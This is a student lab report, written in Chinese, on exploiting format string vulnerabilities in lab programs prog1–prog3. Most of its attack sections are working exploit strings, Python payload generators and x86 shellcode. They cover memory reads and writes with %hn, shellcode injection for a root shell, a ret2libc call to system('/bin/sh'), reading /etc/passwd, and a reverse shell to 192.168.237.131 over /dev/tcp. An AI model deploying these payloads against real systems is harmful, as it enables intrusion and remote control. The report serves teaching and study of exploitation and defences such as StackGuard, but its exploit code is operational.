1 实验一 软件安全
1.1 格式化字符串漏洞实验
1.1.1实验目的
在缓冲区溢出漏洞利用基础上,理解如何进行格式化字符串漏洞利用。C 语言中的 printf() 函数用于根据格式打印出字符串,使用由 printf() 函数的 % 字符标记的占位符,在打印期间填充数据。格式化字符串的使用不仅限于 printf() 函数;其他函数,例如 sprintf()、fprintf() 和 scanf(),也使用格式字符串。某些程序允许用户以格式字符串提供全部或部分内容。本实验的目的是利用格式化字符串漏洞,实施以下攻击:
(1)程序崩溃;
(2)读取程序内存;
(3)修改程序内存;
(4) 恶意代码注入和执行。
1.1.2实验内容、步骤及结果
1.1.2.1 任务 1:针对 prog1,完成以下任务
(1) 使得 prog1 崩溃;
注意需要关闭 ASLR。当我们给出%s作为printf的输入时,printf会把这个值当成地址去取值,如果不是有效地址就会崩溃。
(2) 打印栈上数据
假设漏洞程序的var变量中保存着一个秘密值,尝试一系列的%x格式规定符,当printf()遇到%x时,他打印出va_list指针指向的数,并将va_list推进4个字节。为了弄清需要多少个%x指针指向的数,需要计算var到va_list之间的距离,可以做一些调试来计算实际距离,也可以使用试错法,首先尝试6个%x格式规定符。从下面的图1.1.3执行结果来看,var的值由第5个%x输出。
(3) 改变程序的内存数据:将变量 var 的值,从0x11223344变成0x66887799
%n可以将va_list指针指向的值视为内存地址并写入,因此如果我们想改变内存中某个地址的值,就要把这个地址放在栈上。当然,如果我们要改成一个特定的值,第一种做法就是利用这一点,首先通过gdb找到var的地址为0xbfffed54并写到栈上(当作字符串即可)。要修改var 0x66887799=1720219545,如果用这种方法,要输入的字符数量太多,不切实际,所以这只是一种理论可行的方法,还有一种更快的方法,那就是使用%hn参数,每次覆盖两个字节数据,这样填充的字符少一些。
我们将var分成两部分,每部分2个字节,使用%hn参数修改。大多数电脑使用的是小端存储,所以低比特位(0x7799)存储在0xbfffed54(var的地址),高比特位(0x6688)存储在0xbfffed56。如果第一个%hn参数取得的值为x,那么在下一个%hn之前还有t个字符被打印,第二个%hn取得的值即为x+t。因此,我们首先覆盖存储在0xbfffed56的值为0x6688,然后打印额外的字符,这样覆盖到存储在0xbfffed54时,能被覆盖为0x7799。如下图1.1.4所示构造输入,对我们的var而言,AddressA=\x56\xed\xff\xbf, AddressB=\x54\xed\xff\xbf。
构造格式化输入:
Echo $(printf "\x56\xed\xff\xbf@@@@\x54\xed\xff\xbf")_%.8x_%.8x_%.8x_%.8x_%.26199x%hn_%.4368x%hn > input
注意,每次重启电脑后var的地址会变化,对应的输入也要变化。
执行结果如下图1.1.5:
1.1.2.2 任务 2:针对 prog2,完成以下任务:
(1) 关闭栈不可执行保护,通过注入并执行 shellcode 进行利用,获得 shell
首先观察程序prog2.c,如下图1.1.6所示:在程序的行8,把ebp寄存器的值放在变量framep中,后面会把该值打印出来,这个变量的目的是找到fmtstr()函数的返回地址存放的位置:ebp+4是返回地址的内存地址,此外,还打印了调用printf()函数前后该返回地址存放的内容,目的是看内容是否发生改变,如果没有说明攻击存在问题。
关闭ASLR,关闭栈执行保护,改变uid
为了利用格式化字符串漏洞注入代码,需要应对4个挑战。
1. 注入恶意代码到栈中
2. 找到恶意代码的起始地址A。
3. 找到返回地址保存的位置B。
4. 把A写入B
直接运行prog2,如下图1.1.8所示:
我们将恶意代码的起始地址设置位在数组起始地址0xbfffed04+0x90的地方(90只是个大概的偏移,80,100也许都可以),即0xbfffed94这个地方,需要将其写入返回地址ebp(frame opinter)+4也即0xbfffecec中。往返回地址0xbfffecec写入0xbfffed94,需要将0xbfffecec分割成连续的两个字节:0xbfffecec和0xbfffecee。
下面要确定距离:
echo $(printf "\xee\xec\xff\xbf@@@@\xec\xec\xff\xbf")%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x > badfile
可以看到0xbfffecee.是在第17被打印出来的,因此前面需要16个%x才能到达第一个地址。前面15个%x使用8字节填充,16个%x需要精确计算覆盖成shellcode地址的低位;当然,使用%k$hn直接移动指针到位于第k个参数的地址可以使格式化字符串更短。生成badfile文件代码如下图1.1.10所示,注释见代码。
注入结果见1.1.11所示,由于之前以及把prog2的所有者设成了root,所以直接拿到root权限。
(2) 开启栈不可执行保护,通过 ret2lib 进行利用,获得 shell(可以通过调用 system(“/bin/sh”));
1.首先要使用栈不可执行选项编译,如图1.1.12所示,注意,关闭ASLR保护
2.然后找到system和exit函数的地址,exit函数是为了使程序正常结束,后续需要覆盖到返回地址上,如下图1.1.13所示:
3.接着,确定缓冲区到ebp的距离即可。如下图1.1.15所示,将ebp+4(ret)覆盖成system函数的地址,ebp+8是返回地址覆盖成exit函数地址,然后ebp+12存放第一个参数即“/bin/sh”的地址。
覆盖位置 | 覆盖内容 |
---|---|
Ebp+4(0xbfffec6c) | System地址(0xb7e42da0) |
Ebp+8(0xbfffec70) | Exit地址(0xb7e369d0) |
Ebp+12(0xbfffec74) | /bin/sh地址(0xb7f6382b) |
然后我们通过%hn进行修改,注意,覆盖内容需要按大小排序
覆盖地址 | 覆盖内容 |
---|---|
0xbfffec6c | 0x2da0 |
0xbfffec74 | 0x382b |
0xbfffec70 | 0x69d0 |
0xbfffec72 | 0xb7e3 |
0xbfffec6e | 0xb7e4 |
0xbfffec76 | 0xb7f6 |
4.构造输入,确定偏移距离
如下图1.1.17所示,第一个覆盖地址出现在第17个%x的位置
echo $(printf "\x6c\xec\xff\xbf@@@@\x6e\xec\xff\xbf@@@@\x70\xec\xff\xbf\x72\xec\xff\xbf@@@@\x74\xec\xff\xbf@@@@\x76\xec\xff\xbf")_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x > badfile
5.构造数据
我们覆盖的数据需要填充适当的字符,如下表:
覆盖内容 |
---|
0x2da0=11680=15x8+4x10+16+11504 |
0x382b=0x2da0+1+2698 |
0x69d0=0x382b+1+12708 |
0xb7e3=0x69d0+1+19986 |
0xb7e4=0xb7e3+1+0 |
0xb7f6=0xb7e4+1+17 |
构造badfile文件:
echo $(printf "\x6c\xec\xff\xbf@@@@\x74\xec\xff\xbf@@@@\x70\xec\xff\xbf@@@@\x72\xec\xff\xbf\x6e\xec\xff\xbf@@@@\x76\xec\xff\xbf")_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.11504x%hn_%.2698x%hn_%.12708x%hn_%19986x%hn_%hn_%.17x%hn > badfile
在fmtstr的printf格式化漏洞语句后下断点,如上图1.1.18所示,可以看到,1处是system的地址,2处是exit的地址,3处是/bin/sh的地址(libc中的)。此时我们再直接执行prog2_retlibc程序,结果如下图1.1.19所示,获得了shell。
(3) 尝试开启和关闭 Stack Guard 保护,观察以上利用结果;
首先编译是选择stack guard保护,如下图1.1.120所示:
图1.1.20 开启stack guard保护
从上图还可以看出,ebp地址为0xbfffecb8,所以就能得到ret的地址为0xbfffecbc,输入的首地址为0xbfffecd4。我们将恶意代码的起始地址设置位在数组起始地址0xbfffecd4+0x90的地方,即0xbfffed64这个地方,需要将其写入返回地址ebp(frame opinter)+4也即0xbfffecbc中。往返回地址0xbfffecbc写入0xbfffed64,需要将0xbfffecbc分割成连续的两个字节:0xbfffecbc和0xbfffecbe.接着跟之前一样构造输入确定距离:如下图1.1.21所示,第21个%x打印出了输出的第一个元素。
图1.1.21 确定偏移距离
0xbfff = 49151 = 12 + 8 * 19 + 20 + 48967,
0xed64 = 0xbfff + 1 + 11620,
构造输入:
echo $(printf "\xbe\xec\xff\xbf@@@@\xbc\xec\xff\xbf")_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.48967x%hn_%.11620x%hn$(printf "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80") > badfile
然后注入,结果如图1.1.22所示。
图1.1.22 开启stackguard后的注入结果
StackGuard是一个用来防御缓冲区溢出攻击的方式,方法很简单,就是往返回地址后面插入一段特殊值(称之为canary),在函数返回之前,首先检查这个特殊值是否被修改,如果被修改了,说明发生了缓冲区溢出攻击。更安全的方式是,插入这段特殊值,是随机值。然而我们的攻击方法并不是溢出攻击,而是精准修改,并不影响这个特殊值,所以理论上应该是没有影响的。
(4) 尝试设置 setuid root,观察是否可以获得 root shell。
不可以,如图1.1.11所示,我已经设置了root权限再进行的
注入,发现拿不到root权限。
1.1.2.3 任务 3:针对 prog3,完成以下任务
- 首先,这次利用的还是字符串格式化漏洞,其主题见下图1.1.3.1所示:
- 接着我们编译程序,主要注意的编译选项都在make文件中了,我们直接编译即可。
- 由于我们的环境是32Bit的,所以需要将format-32当作server程序里调用的fotmat程序
- 接着我们试验一下这个程序的功能,就在本机实验的话,不用docker创建虚拟环境了。主要就是一个服务端一个客户端,服务端会展示客户端的信息,也就是存在字符串格式化漏洞的地方。如下图,服务器收到了客户端发来的信息,并且打印出了一些重要信息,我们后面攻击会用到。
下面就可以开始尝试攻击了:
(1) 打印栈上数据;
首先,我们确定个距离,构造如下输入:
echo $(printf "\x55\x55\x55\x55")_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x > input
如图1.2.3.5所示,需要64个%x才能打印出输入的首元素。
(2) 获得 heap 上的 secret 变量的值;
由图1.2.3.4可知,secret地址在0x080bbb28:
echo $(printf "\x28\xbb\x0b\x08")_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%s > input
(3) 修改 target 变量成 0xAABBCCDD
跟之前一样,如果通过%n来实现的话打印的字符太多不现实,所以还是通过%hn来实现。0xaabb=62*8(63个%x)+63(63个_)+12(printf里的12个字符的格式化字符串)+43136(填充数字)
0xccdd=0xaabb+1+8737,因此构造输入如下:
echo $(printf "\x6a\xb0\x0e\x08@@@@\x68\xb0\x0e\x08")_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.43136x%hn_%8737.x%hn > input
(4) 通过注入并执行 shellcode 进行利用,执行一个 shell 命令,
如:/bin/tail -n 2 /etc/passwd, /bin/rm /tmp/myfile
由之前的图1.2.3.4可知ebp的地址为0xbfff368,因此ret的地址为0xbfff36c,而且输入的基址是0xbfff440,shellcode的地址大概为0xbffff760(输入的数组总长度为1200,shellcode放在末尾,大概选择一个偏移即可)接着就可以参考指导书的代码构造,如图1.2.3.8所示:下面的代码中addr2需要根据ebp的址修改,addr2为ret的地址。
代码如下:
from struct import pack
shellcode = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
" tail -n 2 /etc/passwd *"
#"/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd *"
"AAAA"
"BBBB"
"CCCC"
"DDDD"
).encode('latin-1')
N = 1200
#Fill the content with NOP's
content = bytearray(0x90 for i in range(N))
start = N - len(shellcode)
content[start:] = shellcode
addr2 = 0xbffff36c #ret地址,根据ebp修改
addr1 = addr2 + 2
content[0:4] = (addr1).to_bytes(4, byteorder = 'little')
content[4:8] = ("@@@@").encode('latin-1')
content[8:12] = (addr2).to_bytes(4, byteorder = 'little')
C = 62
#BFFF F760 #shellcode地址,根据输入数据基地址加适当偏移
small = 0xBFFF - 12 - C * 9 - 1
large = 0xF760 - 0xBFFF - 1
s = "_%.8x" * C + "_%." + str(small) + "x" + "%hn" + "_%." + str(large) + "x" + "%hn" + "\n"
fmt = (s).encode('latin-1')
content[12:12 + len(fmt)] = fmt
file = open("input", "wb")
file.write(content)
file.close()
结果如下,成功执行tail命令:
(5) 获得一个反向 shell。
下面的代码,仍然跟shellcode一样,修改addr2和ip地址,如果ip地址不是三个数字,举个例子,比如192.168.71.131这样的,71这个构造要注意如下所示构造(总之就是保证四个字节)
举例:
"\x68"" "
"\x68""7070"
"\x68""131/"
"\x68"".71."
"\x68"".168"
"\x68""/192"
全部代码:
#reverse shellcode
shellcode= (
# Push the command '/binbash' into stack ( is equivalent to /)
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""bash" # pushl "bash"
"\x68""" # pushl ""
"\x68""/bin" # pushl "/bin"
"\x89\xe3" # movl %esp, %ebx
# Push the 1st argument '-ccc' into stack (-ccc is equivalent to -c)
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""-ccc" # pushl "-ccc"
"\x89\xe0" # movl %esp, %eax
# Push the 2nd argument '/bin/bash -i >/dev/tcp/192.168.237.131/7070 0<&1 2>&1' into stack
"\x31\xd2" # xorl %edx,%edx
"\x52" # pushl %edx
"\x68"" " # pushl data
"\x68""2>&1"
"\x68"" "
"\x68""0<&1"
"\x68""0 "
"\x68""/707"
"\x68"".131"
"\x68"".237"
"\x68"".168"
"\x68""/192"
"\x68""/tcp"
"\x68""/dev"
"\x68"" >"
"\x68""h -i"
"\x68""/bas"
"\x68""/bin"
"\x89\xe2" # movl %esp,%edx
# Construct the argv[] array and set ecx
"\x31\xc9" # xorl %ecx,%ecx
"\x51" # pushl %ecx
"\x52" # pushl %edx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
# Set edx to 0
"\x31\xd2" #xorl %edx,%edx
# Invoke the system call
"\x31\xc0" # xorl %eax,%eax
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
).encode('latin-1')
结果如下图1.2.3.10所示,可以看见,路径发生了改变,获取了shell。